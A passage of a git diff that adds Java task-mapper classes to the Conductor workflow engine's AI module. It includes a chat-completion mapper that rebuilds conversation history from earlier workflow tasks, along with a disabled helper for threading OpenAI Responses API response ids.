TaskModel simpleTask = taskMapperContext.createTaskModel(); + simpleTask.setTaskType(workflowTask.getType()); + simpleTask.setStartDelayInSeconds(workflowTask.getStartDelay()); + simpleTask.setStatus(TaskModel.Status.SCHEDULED); + simpleTask.setRetryCount(retryCount); + simpleTask.setCallbackAfterSeconds(workflowTask.getStartDelay()); + simpleTask.setResponseTimeoutSeconds(taskDefinition.getResponseTimeoutSeconds()); + simpleTask.setRetriedTaskId(retriedTaskId); + simpleTask.setRateLimitPerFrequency(taskDefinition.getRateLimitPerFrequency()); + simpleTask.setRateLimitFrequencyInSeconds(taskDefinition.getRateLimitFrequencyInSeconds()); + simpleTask.setInputData(taskMapperContext.getTaskInput()); + simpleTask.setTaskDefName(getTaskType()); + // Auto-threading of previousResponseId is DISABLED. See javadoc on + // threadPreviousResponseId below for the failure-mode reasoning. + // Re-enable only after the task mapper switches to TRUE delta-only + // message construction (i.e., send ONLY new input items since the + // prior response, not the full rebuilt history). + // threadPreviousResponseId(taskMapperContext, simpleTask); + return simpleTask; + } + + /** + * Auto-thread the OpenAI Responses API {@code previous_response_id} across iterations of the + * same task within a workflow (typically a DoWhile loop). + * + *

DISABLED. Currently not called from {@link #getMappedTask}. Measured behavior + * across executions {@code 8083490c}, {@code 3d5177a8}, and {@code 9652d956}: with {@code + * previous_response_id} set and ANY non-trivial local history resend, OpenAI's billed {@code + * promptTokens} accumulates the carried server-side chain ON TOP OF the input we send. The + * chars-per-token ratio in {@code 9652d956} collapsed from 7.40 at iter 0 to 0.41 at iter 16 + * (impossible from JSON content alone — BPE floor is ~2.5 chars/tok). At iter 17 we sent 108K + * chars (≤ 50K tokens of content) and OpenAI billed over 400K tokens, rejecting the call. + * Selectively suppressing the prior assistant message (the obvious "skip the duplicate" trick) + * only slows the accumulation — every other piece of history we still resend gets billed + * against the carried chain. + * + *

Valid modes for the Responses API: + * + *

    + *
  1. Stateless (mode A): send the full conversation, do NOT set {@code + * previous_response_id}. Each turn bills only for what we send. Reasoning state is + * re-derived each turn. This is the mode currently in use. + *
  2. Delta (mode B): send only the strict delta since the prior response (only the + * new tool outputs / user inputs added by this iteration, nothing else), AND set {@code + * previous_response_id}. The carried chain provides everything else. Reasoning state is + * preserved. Requires the task mapper to track exactly what was in the prior request — a + * non-trivial change to the history rebuild path. + *
+ * + *

This method implements the wire-up for mode B but is disabled because the history rebuild + * is still mode-A shaped. Re-enable only AFTER the history rebuild emits only the delta. Until + * then, leaving it disabled keeps {@code promptTokens} bounded to what our estimator predicts, + * which is what {@code condenseIfNeeded} needs to trigger on time. + */ + @SuppressWarnings("unused") + private void threadPreviousResponseId(TaskMapperContext context, TaskModel current) { + WorkflowModel workflow = context.getWorkflowModel(); + if (workflow == null || workflow.getTasks() == null) { + return; + } + Map currentInput = current.getInputData(); + if (currentInput == null) { + return; + } + Object explicit = currentInput.get("previousResponseId"); + if (explicit != null && !explicit.toString().isEmpty()) { + return; + } + String currentRef = context.getWorkflowTask().getTaskReferenceName(); + if (currentRef == null) { + return; + } + // ListIterator from the tail — O(K) where K is the position of the + // most-recent matching prior task counted from the end, instead of the + // O(N²) we'd get from index-based reverse access on a LinkedList. + List tasks = workflow.getTasks(); + ListIterator it = tasks.listIterator(tasks.size()); + while (it.hasPrevious()) { + TaskModel prior = it.previous(); + if (prior == current) { + continue; + } + if (!prior.getStatus().isTerminal()) { + continue; + } + WorkflowTask priorDef = prior.getWorkflowTask(); + if (priorDef == null || !currentRef.equals(priorDef.getTaskReferenceName())) { + continue; + } + Map output = prior.getOutputData(); + if (output == null) { + continue; + } + Object respId = output.get("responseId"); + if (respId != null && !respId.toString().isEmpty()) { + currentInput.put("previousResponseId", respId.toString()); + return; + } + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/AgentTaskMapper.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/AgentTaskMapper.java new file mode 100644 index 0000000..126b899 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/AgentTaskMapper.java @@ -0,0 +1,35 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.mapper; + +import org.conductoross.conductor.ai.model.A2ACallRequest; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +/** + * Task mapper for the {@code AGENT} task type. + * + *

Produces the SCHEDULED task (with retry defaults) that the {@code AGENT} {@link + * org.conductoross.conductor.ai.a2a.AgentTask} system task then executes asynchronously. + */ +@Component +@Conditional(AIIntegrationEnabledCondition.class) +public class AgentTaskMapper extends AIModelTaskMapper { + + public static final String TASK_TYPE = "AGENT"; + + public AgentTaskMapper() { + super(TASK_TYPE); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/AudioGenerationTaskMapper.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/AudioGenerationTaskMapper.java new file mode 100644 index 0000000..6d8139d --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/AudioGenerationTaskMapper.java @@ -0,0 +1,32 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.mapper; + +import org.conductoross.conductor.ai.model.AudioGenRequest; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import lombok.extern.slf4j.Slf4j; + +@Component +@Conditional(AIIntegrationEnabledCondition.class) +@Slf4j +public class AudioGenerationTaskMapper extends AIModelTaskMapper { + + public static final String NAME = "GENERATE_AUDIO"; + + public AudioGenerationTaskMapper() { + super(NAME); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/CallMCPToolTaskMapper.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/CallMCPToolTaskMapper.java new file mode 100644 index 0000000..d1d128f --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/CallMCPToolTaskMapper.java @@ -0,0 +1,30 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.mapper; + +import org.conductoross.conductor.ai.model.MCPToolCallRequest; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +/** Task mapper for CALL_MCP_TOOL task type. */ +@Component +@Conditional(AIIntegrationEnabledCondition.class) +public class CallMCPToolTaskMapper extends AIModelTaskMapper { + + public static final String TASK_TYPE = "CALL_MCP_TOOL"; + + public CallMCPToolTaskMapper() { + super(TASK_TYPE); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/ChatCompleteTaskMapper.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/ChatCompleteTaskMapper.java new file mode 100644 index 0000000..b193cce --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/ChatCompleteTaskMapper.java @@ -0,0 +1,328 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.mapper; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.stream.Collectors; + +import org.conductoross.conductor.ai.AIModel; +import org.conductoross.conductor.ai.AIModelProvider; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.ChatMessage; +import org.conductoross.conductor.ai.model.LLMResponse; +import org.conductoross.conductor.ai.model.Media; +import org.conductoross.conductor.ai.model.ToolCall; +import org.conductoross.conductor.common.utils.StringTemplate; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Conditional; +import org.springframework.lang.Nullable; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.mapper.TaskMapperContext; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import lombok.extern.slf4j.Slf4j; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_HTTP; +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SIMPLE; +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW; + +@Component +@Conditional(AIIntegrationEnabledCondition.class) +@Slf4j +public class ChatCompleteTaskMapper extends AIModelTaskMapper { + + private static final Set toolTaskTypes = + Set.of(TASK_TYPE_HTTP, TASK_TYPE_SIMPLE, "MCP", "CALL_MCP_TOOL"); + + /** + * Nullable: present at runtime under Spring (auto-wired via the AI integration condition); + * nullable in unit tests that instantiate the mapper directly. When null, the mapper falls back + * to the historical "every provider supports prefill" assumption — same behavior as before this + * dependency was introduced. + */ + @Nullable private final AIModelProvider aiModelProvider; + + public ChatCompleteTaskMapper() { + this(null); + } + + @Autowired + public ChatCompleteTaskMapper(@Nullable AIModelProvider aiModelProvider) { + super(ChatCompletion.NAME); + this.aiModelProvider = aiModelProvider; + } + + @Override + protected TaskModel getMappedTask(TaskMapperContext taskMapperContext) + throws TerminateWorkflowException { + TaskModel taskModel = super.getMappedTask(taskMapperContext); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + + try { + ChatCompletion chatCompletion = + objectMapper.convertValue(taskModel.getInputData(), ChatCompletion.class); + List history = chatCompletion.getMessages(); + if (chatCompletion.getUserInput() != null && chatCompletion.getMessages().isEmpty()) { + history.add(new ChatMessage(ChatMessage.Role.user, chatCompletion.getUserInput())); + } + // getHistory() internally skips prior loop-iteration assistant messages + // for this same task refName when (a) previousResponseId is in play + // (OpenAI Responses API server-side store owns the prior turns) or + // (b) the provider declares it doesn't accept assistant-message + // prefill (AIModel.supportsAssistantPrefill — e.g. Anthropic, where + // Claude Sonnet 4.6+ rejects prefill outright). Participants, tool + // calls, and sub-workflow context are still preserved in both cases. + getHistory(workflowModel, taskModel, chatCompletion); + updateTaskModel(chatCompletion, taskModel); + + } catch (Exception e) { + if (e instanceof TerminateWorkflowException) { + throw (TerminateWorkflowException) e; + } else { + log.error("input: {}", taskModel.getInputData()); + log.error(e.getMessage(), e); + throw new TerminateWorkflowException( + String.format( + "Error preparing chat completion task input: %s", e.getMessage())); + } + } + return taskModel; + } + + protected void updateTaskModel(ChatCompletion chatCompletion, TaskModel simpleTask) { + Map paramReplacement = chatCompletion.getPromptVariables(); + if (paramReplacement == null) { + paramReplacement = new HashMap<>(); + } + List messages = chatCompletion.getMessages(); + if (messages == null) { + messages = new ArrayList<>(); + } + for (ChatMessage message : messages) { + String msgText = message.getMessage(); + if (msgText != null) { + msgText = StringTemplate.fString(msgText, paramReplacement); + message.setMessage(msgText); + } + } + simpleTask.getInputData().put("messages", messages); + simpleTask.getInputData().put("tools", chatCompletion.getTools()); + } + + /** + * Resolves the configured {@link AIModel} for this chat completion and asks it whether it + * accepts assistant-message prefill. Returns {@code true} (the historical default) if no + * provider registry is wired in (unit tests), if the request specifies no provider, or if the + * provider name doesn't match a registered model — those cases preserve the pre-capability + * behavior so we don't silently change history-injection semantics for unrelated callers. + */ + private boolean providerSupportsAssistantPrefill(ChatCompletion chatCompletion) { + if (aiModelProvider == null || chatCompletion.getLlmProvider() == null) { + return true; + } + try { + AIModel model = aiModelProvider.getModel(chatCompletion); + return model.supportsAssistantPrefill(); + } catch (RuntimeException unknownProvider) { + log.debug( + "Provider '{}' not registered; defaulting supportsAssistantPrefill=true", + chatCompletion.getLlmProvider()); + return true; + } + } + + private void getHistory( + WorkflowModel workflow, TaskModel chatCompleteTask, ChatCompletion chatCompletion) { + Map> refNameToTask = new HashMap<>(); + for (TaskModel task : workflow.getTasks()) { + refNameToTask + .computeIfAbsent( + task.getWorkflowTask().getTaskReferenceName(), k -> new ArrayList<>()) + .add(task); + } + + /* + Notes: + If the chat complete task is running in a loop, then use the history from the loop + If the chat complete task has a parent task reference, then collect history from the all the executions of the parent task reference + which also includes the tool calls + */ + String historyContextTaskRefName = + chatCompleteTask.getWorkflowTask().getTaskReferenceName(); + if (chatCompleteTask.getParentTaskReferenceName() != null) { + historyContextTaskRefName = chatCompleteTask.getParentTaskReferenceName(); + } + // Suppress the same-refName loop-iteration assistant injection when either: + // (a) previousResponseId is set — OpenAI's Responses API server-side store + // already has every prior turn for this loop; re-injecting them + // duplicates context and, because we only emit the assistant side + // (not the matching user prompt), leaves the model staring at + // orphaned replies. + // (b) the provider declares it doesn't accept assistant-message prefill + // (see AIModel.supportsAssistantPrefill). The loop-iteration messages + // arrive as a trailing assistant turn on the next call — if the + // provider's API rejects that shape (e.g. Anthropic Sonnet 4.6+: + // 400 "This model does not support assistant message prefill. The + // conversation must end with a user message."), the whole turn + // fails. Workflow authors who need prior-iteration state should + // template it into the user message via ${...output.result}. + // Participants, tool calls, and sub-workflow context are not suppressed + // in either case — those are legitimate conversation turns the server + // (or model) has never seen. + String prevRespId = chatCompletion.getPreviousResponseId(); + boolean suppressLoopAssistantHistory = + (prevRespId != null && !prevRespId.isBlank()) + || !providerSupportsAssistantPrefill(chatCompletion); + List history = new ArrayList<>(); + for (TaskModel task : workflow.getTasks()) { + if (!task.getStatus().isTerminal()) { + continue; + } + boolean skipTask = true; + ChatMessage.Role role = ChatMessage.Role.assistant; + if (task.getParentTaskReferenceName() != null + && task.getParentTaskReferenceName().equals(historyContextTaskRefName)) { + skipTask = false; + } else if (task.isLoopOverTask() + && task.getWorkflowTask() + .getTaskReferenceName() + .equals(historyContextTaskRefName)) { + // Same-refName loop iterations are exactly the assistant-message + // duplication the Responses API has already absorbed; skip them. + skipTask = suppressLoopAssistantHistory; + } else if (chatCompletion.getParticipants() != null) { + ChatMessage.Role participantRole = + chatCompletion + .getParticipants() + .get(task.getWorkflowTask().getTaskReferenceName()); + if (participantRole != null) { + role = participantRole; + skipTask = false; + } + } + + if (skipTask) { + continue; + } + log.trace( + "\nTask {} - {} will be used for history", + task.getReferenceTaskName(), + task.getTaskType()); + LLMResponse response = null; + + try { + response = objectMapper.convertValue(task.getOutputData(), LLMResponse.class); + } catch (Exception ignore) { + response = LLMResponse.builder().result(task.getOutputData()).build(); + } + + if (toolTaskTypes.contains(task.getWorkflowTask().getType())) { + // This is a tool call + ToolCall toolCall = + ToolCall.builder() + .inputParameters(task.getInputData()) + .name(task.getTaskDefName()) + .taskReferenceName(task.getReferenceTaskName()) + .type(task.getTaskType()) + .output(task.getOutputData()) + .build(); + + history.add(new ChatMessage(ChatMessage.Role.tool, toolCall)); + + } else if (TASK_TYPE_SUB_WORKFLOW.equals(task.getWorkflowTask().getType())) { + Object subWorkflowDef = task.getInputData().get("subWorkflowDefinition"); + Map input = Map.of(); + if (subWorkflowDef != null) { + WorkflowDef subWorkflow = + objectMapper.convertValue(subWorkflowDef, WorkflowDef.class); + input = + subWorkflow.getTasks().stream() + .collect( + Collectors.toMap( + WorkflowTask::getTaskReferenceName, + WorkflowTask::getInputParameters)); + } + // This is a tool call + ToolCall toolCall = + ToolCall.builder() + .inputParameters(input) + .name(task.getTaskDefName()) + .taskReferenceName(task.getReferenceTaskName()) + .type(task.getTaskType()) + .build(); + history.add(new ChatMessage(ChatMessage.Role.tool_call, toolCall)); + + ToolCall toolCallExecution = + ToolCall.builder() + .inputParameters(input) + .name(task.getTaskDefName()) + .taskReferenceName(task.getReferenceTaskName()) + .type(task.getTaskType()) + .output(task.getOutputData()) + .build(); + history.add(new ChatMessage(ChatMessage.Role.tool, toolCallExecution)); + + } else if (response.getToolCalls() != null && !response.getToolCalls().isEmpty()) { + for (ToolCall toolCall : response.getToolCalls()) { + String toolRefName = toolCall.getTaskReferenceName(); + List toolModels = + refNameToTask.getOrDefault(toolRefName, new ArrayList<>()); + for (TaskModel toolModel : toolModels) { + if (toolModel.getStatus().isTerminal() + && toolModel.getStatus().isSuccessful()) { + history.add(new ChatMessage(ChatMessage.Role.tool_call, toolCall)); + ToolCall toolCallResult = + ToolCall.builder() + .inputParameters(toolModel.getInputData()) + .name(toolModel.getTaskDefName()) + .taskReferenceName( + toolModel + .getWorkflowTask() + .getTaskReferenceName()) + .type(toolModel.getTaskType()) + .output(toolModel.getOutputData()) + .build(); + history.add(new ChatMessage(ChatMessage.Role.tool, toolCallResult)); + } + } + } + + } else { + if (response.getResult() != null) { + Object resultObj = response.getResult(); + if (resultObj instanceof Map) { + if (((Map) resultObj).containsKey("response")) { + resultObj = ((Map) resultObj).get("response"); + } + } + var msg = new ChatMessage(role, String.valueOf(resultObj)); + if (response.getMedia() != null) { + msg.setMedia(response.getMedia().stream().map(Media::getLocation).toList()); + } + history.add(msg); + } + } + } + chatCompletion.getMessages().addAll(history); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/GenEmbeddingsTaskMapper.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/GenEmbeddingsTaskMapper.java new file mode 100644 index 0000000..60ca826 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/GenEmbeddingsTaskMapper.java @@ -0,0 +1,32 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.mapper; + +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import lombok.extern.slf4j.Slf4j; + +@Component +@Conditional(AIIntegrationEnabledCondition.class) +@Slf4j +public class GenEmbeddingsTaskMapper extends AIModelTaskMapper { + + public static final String NAME = "LLM_GENERATE_EMBEDDINGS"; + + public GenEmbeddingsTaskMapper() { + super(NAME); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/GetEmbeddingsTaskMapper.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/GetEmbeddingsTaskMapper.java new file mode 100644 index 0000000..dcf8f80 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/GetEmbeddingsTaskMapper.java @@ -0,0 +1,32 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.mapper; + +import org.conductoross.conductor.ai.model.VectorDBInput; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import lombok.extern.slf4j.Slf4j; + +@Component +@Conditional(AIIntegrationEnabledCondition.class) +@Slf4j +public class GetEmbeddingsTaskMapper extends AIModelTaskMapper { + + public static final String NAME = "LLM_GET_EMBEDDINGS"; + + public GetEmbeddingsTaskMapper() { + super(NAME); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/ImageGenerationTaskMapper.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/ImageGenerationTaskMapper.java new file mode 100644 index 0000000..a731d6e --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/ImageGenerationTaskMapper.java @@ -0,0 +1,32 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.mapper; + +import org.conductoross.conductor.ai.model.ImageGenRequest; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import lombok.extern.slf4j.Slf4j; + +@Component +@Conditional(AIIntegrationEnabledCondition.class) +@Slf4j +public class ImageGenerationTaskMapper extends AIModelTaskMapper { + + public static final String NAME = "GENERATE_IMAGE"; + + public ImageGenerationTaskMapper() { + super(NAME); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/IndexTextTaskMapper.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/IndexTextTaskMapper.java new file mode 100644 index 0000000..cb82e78 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/IndexTextTaskMapper.java @@ -0,0 +1,32 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.mapper; + +import org.conductoross.conductor.ai.model.IndexDocInput; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import lombok.extern.slf4j.Slf4j; + +@Component +@Conditional(AIIntegrationEnabledCondition.class) +@Slf4j +public class IndexTextTaskMapper extends AIModelTaskMapper { + + public static final String NAME = "LLM_INDEX_TEXT"; + + public IndexTextTaskMapper() { + super(NAME); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/ListMCPToolsTaskMapper.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/ListMCPToolsTaskMapper.java new file mode 100644 index 0000000..a9b6ffb --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/ListMCPToolsTaskMapper.java @@ -0,0 +1,30 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.mapper; + +import org.conductoross.conductor.ai.model.MCPListToolsRequest; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +/** Task mapper for LIST_MCP_TOOLS task type. */ +@Component +@Conditional(AIIntegrationEnabledCondition.class) +public class ListMCPToolsTaskMapper extends AIModelTaskMapper { + + public static final String TASK_TYPE = "LIST_MCP_TOOLS"; + + public ListMCPToolsTaskMapper() { + super(TASK_TYPE); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/PdfGenerationTaskMapper.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/PdfGenerationTaskMapper.java new file mode 100644 index 0000000..04e01f8 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/PdfGenerationTaskMapper.java @@ -0,0 +1,32 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.mapper; + +import org.conductoross.conductor.ai.model.MarkdownToPdfRequest; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import lombok.extern.slf4j.Slf4j; + +@Component +@Conditional(AIIntegrationEnabledCondition.class) +@Slf4j +public class PdfGenerationTaskMapper extends AIModelTaskMapper { + + public static final String NAME = "GENERATE_PDF"; + + public PdfGenerationTaskMapper() { + super(NAME); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/SearchIndexTaskMapper.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/SearchIndexTaskMapper.java new file mode 100644 index 0000000..c24d62e --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/SearchIndexTaskMapper.java @@ -0,0 +1,32 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.mapper; + +import org.conductoross.conductor.ai.model.VectorDBInput; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import lombok.extern.slf4j.Slf4j; + +@Component +@Conditional(AIIntegrationEnabledCondition.class) +@Slf4j +public class SearchIndexTaskMapper extends AIModelTaskMapper { + + public static final String NAME = "LLM_SEARCH_INDEX"; + + public SearchIndexTaskMapper() { + super(NAME); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/StoreEmbeddingsTaskMapper.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/StoreEmbeddingsTaskMapper.java new file mode 100644 index 0000000..5f5274d --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/StoreEmbeddingsTaskMapper.java @@ -0,0 +1,32 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.mapper; + +import org.conductoross.conductor.ai.model.StoreEmbeddingsInput; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import lombok.extern.slf4j.Slf4j; + +@Component +@Conditional(AIIntegrationEnabledCondition.class) +@Slf4j +public class StoreEmbeddingsTaskMapper extends AIModelTaskMapper { + + public static final String NAME = "LLM_STORE_EMBEDDINGS"; + + public StoreEmbeddingsTaskMapper() { + super(NAME); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/TextCompleteTaskMapper.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/TextCompleteTaskMapper.java new file mode 100644 index 0000000..3da176c --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/TextCompleteTaskMapper.java @@ -0,0 +1,32 @@ +/* + * Copyright 2026 Conductor Authors. + *

